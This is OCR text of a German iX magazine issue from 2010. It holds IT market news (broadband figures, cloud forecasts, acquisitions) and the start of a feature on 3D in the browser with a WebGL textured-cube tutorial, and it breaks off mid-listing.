dreimal so viele Verträge wie die größten Wettbewerber (Vodafone: 3,7 Mio., United Internet: 3,3 Mio.), und daran wird sich im laufenden Jahr nichts ändern. Laut Prognose von VATM und Dialog Consult nimmt die Anzahl aller Festnetz-Breitbandanschlüsse in diesem Jahr um rund 1,8 Mio. auf knapp 27 Mio. zu. 23 Mio. hiervon entfallen auf DSL-Anschlüsse, von denen wiederum die Telekom 12,1 Mio. stellt. 1,1 Mio. stammen vom DSL-Wiederverkäufer des Ex-Monopolisten, und weitere 0,8 Mio. nutzen das Telekom-Vorleistungsprodukt Bitstrom. Den kläglichen Rest von 9,0 Mio. DSL-Anschlüssen legen die Konkurrenten. Auf DSL-Alternativen basieren 3,9 Mio. der direkt geschalteten Breitbandanschlüsse wie Kabelmodem, Glasfaser, Powerline, Funk und Satelliten. Da die Hälfte des gesamten Zuwachses hiermit erzielt wird, steigt der Anteil am Anschlussmarkt in diesem Jahr von 12,0ˇ% auf 14,5ˇ%. An Glasfasernetze bis zum Gebäudekeller werden der Studie zufolge bis Ende 2010 rund 650ˇ000 Haushalte in Deutschland angeschlossen sein. Etwa 40ˇ% hiervon können die Carrier tatsächlich als zahlende Kunden für das neue Angebot gewinnen. Zurzeit bewegt sich der Anteil schneller Anschlüsse mit mindestens 50 Mbit/s auf dem äußerst bescheidenen Niveau von noch nicht einmal einem Prozent. Bei mehr als der Hälfte der DSL-Anschlüsse (53ˇ%) liegt die Übertragungsgeschwindigkeit bei maximal 6 Mbit/s. Das pro Breitbandanschluss verbrauchte Datenvolumen wächst dieses Jahr um mehr als 10ˇ% auf 11,3 GByte. Auf Wachstumskurs ist ebenso das in Mobilfunknetzen erzeugte Datenvolumen. Es soll 2010 rund 121 Mio. GByte betragen, was binnen Jahresfrist mehr als eine Verdreifachung bedeuten würde. Gleichwohl beträgt die pro Nutzer übertragene Menge noch unter 2ˇ% des vergleichbaren Wertes im Festnetz. Dass der Umsatz in diesem Bereich lediglich um 2ˇ% gewachsen ist, verdeutlicht zudem, dass die Endkundenpreise bei der mobilen Datenübertragung weiter gesunken sind. (WM) KURZ NOTIERT Schweden-Happen: Rogue Wave hat die Acumem AB übernommen. Das schwedische Unternehmen stellt Tools zur Verbesserung der Arbeitsleistung bei Single- und Multithread-Applikationen her. Rogue Wave möchte damit sein Angebot an Werkzeugen ausbauen, die das Programmieren paralleler Routinen erleichtern. Übernommen: IBM kauft weiter ein. Neue Opfer sind der langjährige OEM-Partner BLADE Network Technologies (BNT), Open Pages ein Anbieter von Software für das Risikomanagement und die Compliance-Aktivitäten sowie das auf Datenanalyse spezialisierte Unternehmen Netezza. Für die beiden erstgenannten Firmen wurde der Kaufpreis nicht genannt. Netezza lässt sich Big Blue rund 1,7 Mrd. Dollar kosten. Akquiriert: BMC Software erweitert das Portfolio im Bereich Kapazitätsmanagement durch die Übernahme der Softwaresparte von Neptuny in der Hauptsache das Produkt Caplan. Der verbleibende Rest der italienischen Firma wird künftig unter dem Namen Moviri im Beratungsgeschäft aktiv sein. Erweitert: CA Technologies schloss mit Hyperformix einen einvernehmlichen Übernahmevertrag. Der Anbieter von Software für das Kapazitätsmanagement in IT-Infrastrukturen soll noch im Laufe des Jahres in die CA-Geschäftseinheit Virtualization and Automation eingegliedert werden. Eingekauft: Microsoft hat die langjährige Partnerfirma AVIcode übernommen. Die US-Firma ist Spezialist von Application-Monitoring- Techniken für das.net Framework. Der neue Eigner will damit Transaktionskontrollfunktionen für virtualisierte Anwendungen und Cloud-Umgebungen auf Basis von.net realisieren. Geforscht: Die PSIPENTA Software Systems GmbH realisiert im Rahmen des Forschungsprojekts EUMO- NIS schwerpunktmäßig die IT-unterstützte Planung und Steuerung der Instandhaltungsprozesse. 38 ix 11/2010

39 ix 11/

40 MARKT + TRENDS Wirtschaft Telefónica O2 reduziert Arbeitsplätze Nach der Übernahme von HanseNet veröffentlichte Telefónica O2 Pläne zur Neuorganisation. Die Integration wird bis Ende März 2011 rund 1100 Mitarbeiter den Arbeitsplatz kosten. Am Ende sollen 5000 übrig bleiben. HanseNets Provider-Marke Alice wird gemäß der Vereinbarung mit Telecom Italia noch in den nächsten beiden Jahren weiter genutzt. Auch der Standort Hamburg bleibt Unternehmensangaben zufolge erhalten. Die Technik steuert O2 künftig von München und Hamburg. Die bisherige Festnetzzentrale in Verl sowie Büros in Dortmund, Frankfurt, Hannover, Leipzig und Stuttgart werden geschlossen. Nach erfolgter Zusammenführung sieht sich Telefónica O2 Germany gemessen am Umsatz als drittgrößter TK-Anbieter in Deutschland. Im ersten Halbjahr 2010 wies das Unternehmen einen mit HanseNet konsolidierten Umsatz von 2,3 Mrd.ˇe aus und zählte knapp 19 Mio. Mobilfunk- und Festnetzkunden. Cloud Computing auf Wachstumskurs Die Nutzung von Cloud Computing entwickelt sich innerhalb weniger Jahre zu einem Milliarden-Geschäft. Nach einer Studie der Experton Group wird der Umsatz in Deutschland bereits in diesem Jahr die 1-Mrd.- Euro-Hürde knacken. Konkret erwarten die Marktforscher aus Ismaning bei München, dass die Umsätze von 1,14 Mrd.ˇe im Jahr 2010 auf 8,2 Mrd.ˇe im Jahr 2015 steigen. Das Wachstum liegt damit bei durchschnittlich 48ˇ% pro Jahr. Während 2010 erst 1,4ˇ% der aggregierten IT-Ausgaben in Cloud-Angebote fließen, sollen es trifft die Prognose der Experton Group zu fünf Jahre später bereits 9,1ˇ% sein. Laut der Studie entfällt etwa die Hälfte des Umsatzes auf die sogenannten Cloud Services, vor allem die Bereitstellung von Programmen (Software as a Service). So sollen im SaaS-Bereich in Deutschland in diesem Jahr schon knapp 440 Mio.ˇe umgesetzt werden. Der nutzungsabhängige Bezug von Rechenleistung oder Speicher aus der Cloud im Rahmen eines IaaS (Infrastructure as a Service) oder PaaS-Modells (Plattform as a Service) findet dagegen in Deutschland derzeit noch wesentlich seltener statt. Die gesamten Einnahmen durch Cloud Services werden für 2010 auf rund 550 Mio.ˇe veranschlagt sollen es dann voraussichtlich 4,8 Mrd. e sein. In Private Cloud -Infrastrukturen werden vor allem Großunternehmen investieren, im laufenden Jahr rund 400 Mio.ˇe. Die Experton Group geht davon aus, dass diese Summe auf bis zu 2,58 Mrd.ˇe im Jahr 2015 anwachsen wird. Auf Beratungsleistungen und Zusatzdienste rund um die Cloud entfallen derzeit rund 200 Mrd.ˇe. In fünf Jahren könnte sich das Umsatzvolumen in diesem Teilsegment auf 800 Mio.ˇe vervierfachen. Service-Anbieter lagern Dienste aus Im Zuge der Globalisierung werden Entwicklungs- und Wartungsarbeiten aufgrund geringerer Personalkosten vermehrt in Niedriglohnländer, beispielsweise nach Osteuropa oder Asien, ausgelagert. Laut einer Umfrage der Kaufbeurener Lünendonk GmbH unter IT-Service-Anbietern beabsichtigen 41ˇ% der Befragten entsprechende Kapazitäten einzubinden. Knapp ein Drittel steht einem solchen Vorgehen allerdings ablehnend gegenüber. Von denjenigen Un ternehmen, die ins Ausland auslagern (Stichworte: Nearshore/ Offshore), setzen 67ˇ% auf das Stimmungshoch in der ITK-Branche Die jüngste Konjunkturumfrage des BITKOM zeigt, dass in der ITK-Branche die Hoffnung auf gute Geschäfte steigt. 78ˇ% der befragten Unternehmen erzielten bereits im dritten Jahresquartal im Vergleich zum Vorjahreszeitraum ein Umsatzplus. Drei Viertel verzeichneten einen höheren Auftragseingang. Für das Gesamtjahr 2010 erwarten deshalb 79ˇ% ein Umsatzwachstum. Der entsprechende Index des Branchenverbandes kletterte auch von 48 auf 67 Punkte und erreichte den höchsten Wert seit seiner Einführung Laut BITKOM- Wachsender Im- und Export in der IT-Branche Die Ausfuhr von Computern, Handys und Netzwerktechnik sowie Unterhaltungselektronik ist im ersten Halbjahr um 13ˇ% auf 13,4 Mrd. ˇe gestiegen. Den stärksten Zuwachs erzielten die Exporteure von Kommunikationstechnik mit einem Plus von 22ˇ% auf 4,5 Mrd.ˇe im ersten Halbjahr. Hersteller von IT-Hardware steigerten ihre Ausfuhr um 12ˇ% auf 6,6 Mrd.ˇe. Das meldete der BIT- KOM mit Blick auf Daten des Statistischen Bundesamtes. Größter Abnehmer deutscher ITK-Produkte ist Großbritannien mit einem Volumen von 1,2 Mrd.ˇe im ersten Halbjahr 2010 (+4ˇ%), dicht gefolgt von Frankreich mit 1,1 Mrd.ˇe (+ 17ˇ%). Auf den weiteren Plätzen reihen sich die Niederlande mit 928 Mio.ˇe (+9ˇ%) und unternehmensinterne De legieren an ihre Tochter- oder Schwestergesellschaften in Niedriglohnländern. 13ˇ% haben hierfür Partnerschaften abgeschlossen oder arbeiten mit Dienstleistern vor Ort zusammen. 20ˇ% verfügen sowohl über eigene als auch externe Kapazitäten. Der Anteil der ausgelagerten Dienstleistungen ist aktuell noch nicht besonders hoch betrug er lediglich 11,5ˇ% am Projektumsatz. Nach Einschätzung der befragten IT-Service-Anbietern dürfte dieser Anteil jedoch wachsen. Noch im laufenden Jahr soll er auf 12ˇ% steigen. Umfrage zieht die Nachfrage am stärksten bei den Anbietern von Software und IT-Dienstleistungen (IT-Beratung, Outsourcing u.ˇa.) an. 83ˇ% der Unternehmen verzeichneten hier im dritten Quartal ein Umsatzplus. Überraschend positiv läuft auch das Geschäft bei den Hardwareherstellern. Trotz des harten Preiswettbewerbs steigerten 70ˇ% im dritten Quartal ihre Umsätze, verglichen mit dem entsprechenden Vorjahreszeitraum. Bei den Produzenten von Kommunikationstechnik (Handys, Netz werktechnik u.ˇa.) sind es sogar 78ˇ%. Italien mit 825 Mio.ˇe (+11ˇ%) ein. Neben den Exporten bewirkte die anziehende Konjunktur zugleich einen starken Anstieg der Einfuhr von ITK- Produkten. Im ersten Halbjahr 2010 wurden Waren im Wert von 20,7 Mrd.ˇe importiert. Das entspricht einem Zuwachs von 17ˇ%. Mit weitem Abstand größter Lieferant ist China. Von dort kamen im betrachteten Zeitraum Waren im Wert von 7,9 Mrd. ˇe (+35ˇ%) ins Land. Platz zwei belegen die Niederlande mit einem Einfuhrvolumen von 1,5 Mrd.ˇe (+21ˇ%), gefolgt von Korea mit 1,3 Mrd.ˇe (+ 7ˇ%). Die USA auf Platz vier lieferten mit 998 Mio.ˇe überraschend 9ˇ% weniger ITK-Güter nach Deutschland als im Vergleichszeitraum des Vorjahres. 40 ix 11/2010

41

42 TITEL 3D im Web 3D-Darstellungen im Webbrowser In die Tiefe gehen Gerhard Völkl Alles muss heute dreidimensional sein: vom Kino über den Fernseher bis zur Taschenspielkonsole. Leistungsstarke Prozessoren und neue Ansätze wie WebGL, XML3D und X3DOM machen auch Webbrowser fit für die dritte Dimension. Seit Jahren versuchen Entwickler mit überschaubarem Erfolg, interaktive 3D-Inhalte ins Web zu bringen. Bereits vor über 15 Jahren, als gerade das Internet für jedermann interessant wurde, kamen Mitarbeiter von SGI (Silicon Graphics Incorporated) auf die Idee, interaktive 3D-Szenen in einem Webbrowser darzustellen nicht irgendwelche fertigen Filme, sondern Szenen, deren Bilder der Computer vor Ort in Echtzeit berechnet. Allerdings war das die Zeit der 386/486er-PCs. Auf Grafik-Workstations für 150ˇ000 DM und mehr liefen die Programme ganz gut. Mit PCs, die damals nicht einmal eine spezielle Grafikhardware hatten, war ein solcher Versuch eher eine Pioniertat als ein Vergnügen. Aus diesen Anfängen entwickelte ein Konsortium aus verschiedenen Firmen und Instituten relativ schnell einen ISO- Standard für eine eigene Beschreibungssprache von 3D-Inhalten: VRML97 (Virtual Reality Markup Language). Damit der Anwender etwas sehen konnte, musste er ein Plug-in für seinen Browser laden. Die Beschreibung der Szene war immer in einer Datei mit der Endung *.wrl untergebracht. Für Entwickler war es nicht einfach, eine Kommunikation zwischen Webseite und 3D-Szene zu bewerkstelligen. Und dass die Standardrechner ohne leistungsfähige GPUs noch nicht reif für 3D im Web waren, zeigt Abbildungˇ1, die eine VRML-Darstellung aus dem Jahr 1997 einer aktuellen WebGL-Grafik gegenüberstellt. All diese Gründe langsame Hardware, externes Plug-in und mangelnde Integration in die Webseite bewirkten, dass sich VRML nicht durchsetzen konnte. Auch gab es keine Killer-Applikation, also eine VRML-Anwendung, die jeder haben wollte, sodass der Durchschnittsanwender keinen Grund sah, sich mit diesem Thema zu beschäftigen. Schließlich wurde aus dem VRML- Konsortium das Web3D-Konsortium, und aus VRML97 ging rund drei Jahre später X3D hervor, ein XML-Dateiformat, das die Beschreibung einer kompletten 3D-Szene enthält. Um etwas mehr Interaktion zwischen Szene und Webseite zu erreichen, hat das zuständige Gremium eine API, Scene Access Interface (SAI), kreiert. JavaScript oder Java kann darüber aus dem Browser heraus auf die 3D-Inhalte zugreifen und sie verändern oder erweitern. Über die Jahre gab es eine Menge von Plugins ob Java3D, Erweiterungen für Flash oder Zugriffsmodule für bestimmte Webspiele. Alle Versuche blieben auf Nischen beschränkt und hätten auch ohne Browser-Integration laufen können. HTML5 bringt frischen Wind Frischen Wind in die Sache bringt der neue Webstandard HTML5. Im Lauf der Jahre hat das Web sich von der eher statischen Hypertext Markup Language zu mehr Dynamik mit DOM (Document Object Model), JavaScript und Ajax entwickelt. Die Anwender wollen Interaktion und die Integration von Medien, ob nun Videos, Bilder oder Musik. Diese Strömungen griffen Mitarbeiter von Apple, Mozilla und Opera auf und erarbeiten in der Web Hypertext Ap - plication Technology Working Group (WHATWG, ein neues HTML. Später übernahm das W3C diese Spezifikation für HTML5, die jetzt beide Gruppen weiterentwickeln. Neben vielen anderen Neuerungen enthält HTML5 mit canvas ein zusätzliches Element, in das JavaScript während der Laufzeit frei zeichnen kann. 42 ix 11/2010

43 ix 11/

44 TITEL 3D im Web Die Darstellung von 3D im Web hat Fortschritte gemacht: links das Sonnensystem in VRML (1997), unten mit WebGL (2010) (Abb.ˇ1). Wie dies mit 2D funktioniert, war von Anfang klar, aber mit 3D? In diese Lücke sprang die nächste Standardisierungstruppe, die Khronos Group. Hier hatten sich vor Jahren alle Firmen zusammengefunden, die sich an der Weiterentwicklung der Grafik-API OpenGL beteiligen wollten. Mitglieder der Khronos Group sind unter anderem AMD, Apple, ARM, Ericsson, Intel, Nokia, NVIDIA, Samsung und Sony. Es lag nahe, aus OpenGL eine 3D- Grafik-API für JavaScript abzuleiten und in HTML5 zu integrieren. Das Ganze firmiert unter dem Begriff WebGL (siehe den Artikel auf Seite 46). Dadurch wird 3D integraler Bestandteil von HTML5 und jedes Browsers, der diesen Standard komplett unterstützt. Zusätzliche Plug-ins sind nicht mehr erforderlich und eventuelles Nachladen von Software für die 3D-Darstellung entfällt. Wie oder was ist hier die Frage Um ein Bild auf den Schirm zu bringen, gibt es zwei Ansätze: Der prozedurale beschreibt, wie das Bild zu zeichnen ist, während der deklarative definiert, was auf dem Bild zu sehen ist. WebGL ist der klassische, prozedurale Weg. Jedes Mal, wenn sich etwas in der 3D-Szene verändert, zeichnet JavaScript über API- Aufrufe ein neues Bild. Diesen Weg favorisieren in der Regel Entwickler. Viele Webdesigner hingegen bevorzugen die deklarative Herangehensweise, die sie von HTML kennen. Hierfür gibt es zwei neue interessante Ansätze: X3DOM und XML3D. Beide verwenden als Basis WebGL. X3DOM vom Fraunhofer-Institut für Graphische Datenverarbeitung (IGD) integriert den X3D-Standard komplett in den Browser. XML3D des Computergrafik-Labors der Universität des Saarlandes hingegen erweitert HTML und CSS um die Möglichkeit, 3D darzustellen (beide Ansätze beschreibt der Artikel auf Seiteˇ54). Angefeuert durch WebGL und eine immer bessere Grafikhardware ist 3D im Browser wieder in Fahrt gekommen. Fast alle Browserhersteller sind bereits auf den Zug aufgesprungen. Nur Microsoft zögert noch ein wenig. Mit dem Internet Explorerˇ9 hat man sich zwar zu den meisten Inhalten von HTML5 bekannt, aber die Entscheidung bezüglich WebGL noch offengelassen. Die Technik ist jetzt bereit für Web 3D. Entscheidend für die Verbreitung werden aber die Inhalte sein. Momentan sind 99 Prozent der 3D-Grafikanwendungen Spiele. Daher kann man davon ausgehen, dass die Spieleindustrie maßgeblich mitentscheiden wird, welche Techniken sich durchsetzen werden. (ka) GERHARD VÖLKL ist Fachjournalist für.net-techniken, Datenbankprogrammierung und Computergrafik. Die neuen Web-3D-Techniken und leistungsfähige Standardhardware machen fotorealistische Landschaften im Browser möglich (Abb.ˇ2). x 44 ix 11/2010

45

46 TITEL 3D im Browser WebGL: Erste Erfahrung mit der OpenGL-JavaScript-API Freies Malen Gerhard Völkl Seit der ersten Veröffentlichung der 3D-Grafik-API OpenGL 1992 waren fast 20 Jahre vergangen, bis jemand auf die Idee kam, dass JavaScript-Entwickler eine solche Schnittstelle in einem Webbrowser brauchen könnten. Letztes Jahr startete das Projekt unter dem Titel WebGL und trägt jetzt erste Früchte in Firefoxˇ4 Beta, Chromium und WebKit. Im März 2009 kündigte die Khronos Group (siehe Onlinequellen [a] und [b] sowie ix-link), ein Industriekonsortium, das sich um die Weiterentwicklung von OpenGL kümmert, eine Integration von OpenGL ES 2.0 in JavaScript an. Bewerkstelligen soll dies eine Arbeitsgruppe, die WebGL Working Group, mit so illustren Mitgliedern wie Mozilla, Google, Apple und Opera. Es dauerte nicht lange, bis im Dezember 2009 der erste Entwurf von WebGL im Netz vorlag. Inzwischen haben Google und Apple in den Grundversionen ihrer Webbrowser Chromium und WebKit WebGL integriert. Wann beide dies in die ausgelieferten Versionen übernehmen, ist noch offen. Mozilla hat die Erweiterung für Firefoxˇ4 angekündigt, dessen Beta man bereits herunterladen kann. Die Webseite Getting a WebGL Implementation [c] ist ein guter Anlaufpunkt, um sich darüber zu informieren, welche Browser wie viel Web - GL können. Sie enthält die Verweise zu den Browsern und alle Informationen, mit welchen Einstellungen sie auf welchen Plattformen laufen. Chromium beispielsweise erwartet beim Start den Parameter enable-webgl. Da die Programmierung der Open - GL-API auf allen Plattformen grundsätzlich gleich funktioniert, liegt der Schwerpunkt im folgenden Artikel auf den Besonderheiten von WebGL und der Integration in den Browser. Ein Beispielprogramm soll das illustrieren (siehe Abbildungˇ1). Integration der API in HTML5 In der kommenden HTML-Version (HTML5) gibt es das Element <canvas> [1]. Es definiert auf dem Bildschirm eine freie Fläche, in der eine JavaScript-Prozedur 2D-Bitmap-Grafiken zeichnen kann: <canvas id="canvas" >Sorry, your browser does not support HTML5 canvas</canvas> Browser, die nicht HTML5-fähig sind, geben alles aus, was innerhalb des <canvas>-elements steht (siehe Listingˇ1). Der Anwender ist dann informiert, dass er sich einen anderen Browser zulegen sollte, wenn er etwas auf dem Bildschirm sehen will. Damit ein Entwickler per JavaScript in ein solches Element zeichnen kann, muss er sich als Erstes einen RenderingContext besorgen, über den die ge- 46 ix 11/2010

47 samte weitere Kommunikation zur Ausgabe läuft. Will er nur zweidimensional zeichnen, reicht der Standardkontext vom Typ CanvasRendering- Context2D, der bereits in HTML5 definiert ist. An dieser Stelle klinkt sich WebGL ein. Dafür braucht er den neuen 3D-Kontext vom Typ Web GL - RenderingContext: canvas = document.getelementbyid("canvas"); gl = canvas.getcontext("experimental-webgl"); Der erste Befehl greift auf das HTMLcanvas-Element mit der ID canvas zu. Danach holt getcontext vom Canvas- Element WebGLRenderingContext. Die Zeichenfolge experimental-webgl wird sich bis zur endgültigen Version von WebGL in webgl ändern. Shader-Daten im Knoten lagern Während der ganzen Lebenszeit der Applikation dient das gl-objekt, der WebGL-Kontext, zur Kommunikation mit der 3D-Schnittstelle und zum Speichern des aktuellen Zustands von OpenGL. Sinnvollerweise ist das Erzeugen des Context der erste Schritt der Initialisierungsroutine eines WebGL- Programms (siehe Listingˇ2). Sobald der Browser HTML komplett geladen und den DOM-Baum (Document Object Model) erzeugt hat, startet der Befehl window.onload = init; die Initialisierungsroutine. Weitere Aufgaben der init-funktion sind das Erzeugen der benötigten Shader-Programme und das Laden der Geometriedaten, bevor der folgende Befehl das Zeichnen in Gang setzt: setinterval(function() { draw() }, 10); Die JavaScript-Standardfunktion setinterval ruft in diesem Beispiel alle 10 Millisekunden die draw-funktion zum x-tract erneuten Rendering des Würfels auf. Das ist notwendig, da sie den Würfel bei jedem Bild etwas mehr um die senkrechte Achse drehen muss und so eine Animation erzeugt. Bei einem statischen Bild reicht der einmalige Aufruf. In den neueren Versionen von OpenGL sowie bei WebGL ist die direkte Programmierung der Hardware mit Shader-Programmen ein zentraler Bestandteil. Sie erfolgt in der OpenGL ES Shading Language (GLSL, [d]), die stark an die Programmiersprache C erinnert. GLSL kennt die zwei klassischen Shader-Typen: den Vertex- und den Fragment-Shader. Der Vertex-Shader führt seine Berechnungen für jeden 3D- Punkt durch, aus dem eine Figur besteht. Normalerweise sind dies die Transformationen von 3D nach 2D, Berechnungen für Lichtsimulation oder Koordi - naten für Texturen. Das Ergebnis geht weiter an den Fragment-Shader, der damit für jeden Bildpunkt dessen Farbe bestimmt. Der WebGL-Entwickler könnte natürlich den Shader-Sourcecode in einer gesonderten Datei speichern und sie mit JavaScript-Bordmitteln nachladen. Am einfachsten ist es aber, den Code direkt in HTML unterzubringen (siehe Listingˇ1). Er steht in einem <script>- Knoten wie dem Folgenden: Unter der Schirmherrschaft der Khronos Group entwickelt eine Gruppe von Herstellern den 3D-Standard OpenGL für das Web weiter. WebGL nutzt das canvas-element von HTML5, um per JavaScript 2D- oder 3D-Grafiken zu zeichnen. In der OpenGL ES Shading Language geschriebene Shader können von Hardwarefunktionen profitieren vorausgesetzt, ein passender Treiber ist installiert. Unterstützung für WebGL bieten zurzeit Firefoxˇ4 Beta, Chromium und WebKit. Das WebGL-Beispielprogramm ist ein animierter Würfel mit Texturen (Abb.ˇ1). <script id="vshader" type="x-shader/x-vertex"> // Sourcecode... </script> Der Browser führt den Knoten nie aus, sondern benützt ihn lediglich als Lagerfläche. JavaScript holt sich den Sourcecode über var shaderstring = document.getelementbyid ("vshader"); und reicht ihn danach als String an den WebGL-Kontext weiter: var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, shaderstring.text); Die Funktion gl.createshader erzeugt ein JavaScript-Objekt mit dem Interface WebGLShader, das einen konkreten Shader repräsentiert. Die Designer von WebGL haben sich hierbei an die besonderen Gegebenheiten von JavaScript angepasst. Sie arbeiten mit JavaScript-Interfaces und nicht mit Integer-Zahlen als Zugriffs-Handle, wie es im klassischen OpenGL ES 2.0 bei der glcreateshader- Funktion der Fall ist. Ebenso haben die WebGL-Erfinder die Übergabeparameter in gl.shadersouce vereinfacht. In OpenGL ES muss der Entwickler neben dem eigentlichen Text die Länge des Strings übergeben. Folgende Vorgehensweisen kann man in der OpenGL-Umsetzung nach Web - GL immer wieder finden: ˇRückgabe von JavaScript-Objekten anstelle von Integer-Zahlen, die wiederum für OpenGL-Objekte stehen, ˇVereinfachung der Argumente bei Funktionen, wenn dies aufgrund der dynamischen Programmiersprache Java - Script möglich ist. In einem längeren Beispielprogramm (siehe ix-listingserver [p]) erzeugt die initshader-funktion aus den beiden WebGLShader-Objekten ein Shader- Programm, das auf der Grafikhard ware lauffähig ist. ix 11/

48 TITEL 3D im Browser Listing 1: HTML-Seite für Beispiel "Würfel mit Textur" <html xmlns=" <head> <meta content="text/html; charset=utf-8" http-equiv="content-type" /> <title>webgl - Texture Cube</title> <script type="text/javascript" src="webgl-debug.js"></script> <script type="text/javascript" src="j3dimath.js"></script> <script type="text/javascript" src="ixcube.js"></script> <script id="vshader" type="x-shader/x-vertex"> uniform mat4 u_modelviewprojmatrix; uniform mat4 u_normalmatrix; uniform vec3 u_lightdir; attribute vec3 vnormal; attribute vec4 vtexcoord; attribute vec4 vposition; varying float v_dot; varying vec2 v_texcoord; void main() { gl_position = u_modelviewprojmatrix * vposition; v_texcoord = vtexcoord.st; vec4 transnormal = u_normalmatrix * vec4(vnormal, 1); v_dot = max(dot(transnormal.xyz, u_lightdir), 0.0); } </script> <script id="fshader" type="x-shader/x-fragment"> #ifdef GL_ES precision mediump float; #endif uniform sampler2d u_sampler2d; varying float v_dot; varying vec2 v_texcoord; void main() { vec2 texcoord = vec2(v_texcoord.s, v_texcoord.t); vec4 color = texture2d(u_sampler2d, texcoord); color += vec4(0.1, 0.1, 0.1, 1); gl_fragcolor = vec4(color.xyz * v_dot, color.a); } </script> </head> <body> <canvas id="canvas" >Sorry, your browser does not support HTML5 canvas</canvas> </body> </html> Listing 2: JavaScript zum Initialisieren von WebGL window.onload = init; //Events var gl; //WebGL-Context var canvas; var canvaswidth = -1; var canvasheight = -1; function init() { //Canvas so groß wie möglich canvas = document.getelementbyid("canvas"); canvas.width = Math.floor(window.innerWidth * 0.9); canvas.height = Math.floor(window.innerHeight * 0.9); } //Context erzeugen gl = canvas.getcontext("experimental-webgl"); if (!gl) { alert("no WebGL context found"); } //Shader erzeugen initshader(gl,"vshader","fshader"); //Geometrie erzeugen initgeometry(gl); //Zeichnen setinterval(function() { draw() }, 10); Ungewöhnlich für Nicht-JavaScript- Programmierer ist in diesem Zusammenhang die Zeile gl.program = gl.createprogram(); Sie erweitert nebenbei den WebGLContext um ein zusätzliches Attribut program, was bei anderen Programmiersprachen nur durch Vererbung oder noch umständlicher möglich wäre. Ein Prinzip der WebGL-Programmierung ist es, dass sich mit JavaScript mehrfach benötigte Objekte dem Kontext hinzufügen lassen. So hat der Entwickler alles schnell im Zugriff und belastet nicht unnötig die Speicherverwaltung. Ein 3D-Programm kommt ohne die Speicherung jeder Menge Binärdaten nicht aus Koordinaten der 3D-Punkte, Texturen, Normalvektoren, Farbwerte je Vertex und so weiter. Für diese Aufgabe sieht der JavaScript-Standard zwei Wege vor: Irgendwelche lang samen Arrays verwenden oder alles in einen String speichern und mit charcodeat() wieder auseinanderpflücken. Da beide Methoden nicht besonders schnell sind, haben sich die Erfinder von WebGL dazu entschlossen, Java Script um Array- Buffer zu erweitern, die binäre Massendaten performant speichern. Diese Buffer legen die Informationen in einem Block ab, auf den aber ein Java Script- Programm wie auf ein Array zugreifen kann. Dafür gibt es eine Spezifikation zur Erweiterung von JavaScript [e]. Jeder Browser-Hersteller, der WebGL umsetzt, wird auch diese Spezifikation berücksichtigen, da sich nur so eine gute Ausführungsgeschwindigkeit erreichen lässt. ArrayBuffer finden sich im Beispielprogramm in der createcolorcube- Funk tion (Listingˇ3), die alle zum Als Vorbild für WebGL hat Khronos sich OpenGL ES 2.X ausgesucht [h]. Die Version 2.X steht für eine Schnittstellendefinition mit programmierbarer Grafik-Pipeline. Das bedeutet, dass OpenGL nur einen geringen Teil des Funktionsspektrums fest vorgibt. Den Großteil erstellt der Entwickler selbst über die direkte Programmierung des Grafikprozessors, Shader-Programmierung genannt. Bei der alten Version von OpenGL 2.x und höher ist dies genauso. Lediglich in den Versionen 1.x, als es noch keine Grafikhardware zum Programmieren gab, legte OpenGL selbst den Funktionsumfang fest (fixed function pipeline). Das Kürzel ES in OpenGL ES 2.x weist darauf hin, dass es sich um eine abgespeckte Version der API für einfachere Hardwareanforderungen (Embedded Systems) handelt, etwa Handys oder mobile Spielekonsolen. Das Schöne an dieser schlanken Ausgabe ist, dass sie auf viele veraltete Befehle der großen Version verzichtet, die heutzutage kaum noch jemand braucht.beispielsweise gibt es für das Speichern von 3D-Vektordaten in der ES-Version lediglich OpenGL 2.0 ES zwei Alternativen: mit VertexArray im Hauptspeicher oder mit VertexBufferObject direkt im Grafikprozessor. Alle klassischen Befehle, die früher zur Definition der 3D-Vektordaten dienten und zwischen glbegin() und glend() standen, fehlen. Dies tut aber nicht weh, da sie aus Performance-Gründen sowieso keiner mehr verwendet. Neben WebGL setzten Plattformen wie iphone/ipad und Android auf OpenGL ESˇ2. Einige Grafikhersteller für Desktop-Systeme wie ATI haben bereits Treiber angekündigt, die diese Version direkt unterstützen. Viele der Browser mit WebGL suchen nach einen Treiber für die Version 2.x oder höher und wickeln dann vieles über die Hardware ab. Ist ein solcher Treiber nicht vorhanden, wird es schwierig. Manche, etwa Mozilla, setzen in dem Fall auf eine Softwareimplementierung von OpenGL. Um die Microsoft-spezifischen DirectX-Treiber zu integrieren, hat Google das Projekt ANGLE ins Leben gerufen (siehe Kasten Hilfe von außen ). 48 ix 11/2010

49 ix 11/

50 TITEL 3D im Browser Listing 3: Vertex-Daten erzeugen function createcolorcube(gl) { var vertices = new Float32Array( [1, 1, 1, -1, 1, 1, -1,-1, 1, 1,-1, 1,...]); var normals = new Float32Array( [0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1...]); var texcoords = new Float32Array( [1, 1, 0, 1, 0, 0, 1, 0,...]); var indices = new Uint8Array( [0, 1, 2, 0, 2, 3,...]); var result = { }; result.normalobject = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, result.normalobject); gl.bufferdata(gl.array_buffer, normals, gl.static_draw); result.texcoordobject = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, result.texcoordobject); gl.bufferdata(gl.array_buffer, texcoords, gl.static_draw); result.vertexobject = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, result.vertexobject); gl.bufferdata(gl.array_buffer, vertices, gl.static_draw); gl.bindbuffer(gl.array_buffer, null); result.indexobject = gl.createbuffer(); gl.bindbuffer(gl.element_array_buffer, result.indexobject); gl.bufferdata(gl.element_array_buffer, indices, gl.static_draw); gl.bindbuffer(gl.element_array_buffer, null); result.numindices = indices.length; return result; } var vertices; var ixtexture; function initgeometry(gl){ // Alle konstanten Uniform-Variablen für Shader festlegen gl.uniform3f(gl.getuniformlocation(gl.program, "u_lightdir"), 0, 0, 1); gl.uniform1i(gl.getuniformlocation(gl.program, "u_sampler2d"), 0); // Erzeugt einen Würfel. gl wird um Attribut cube erweitert gl.cube = createcolorcube(gl); // Matrizen erzeugen und // deren entsprechende Variable im Shader gl.mvmatrix = new J3DIMatrix4(); gl.u_normalmatrixloc = gl.getuniformlocation(gl.program, "u_normalmatrix"); gl.normalmatrix = new J3DIMatrix4(); gl.u_modelviewprojmatrixloc = gl.getuniformlocation(gl.program, "u_modelviewprojmatrix"); gl.mvpmatrix = new 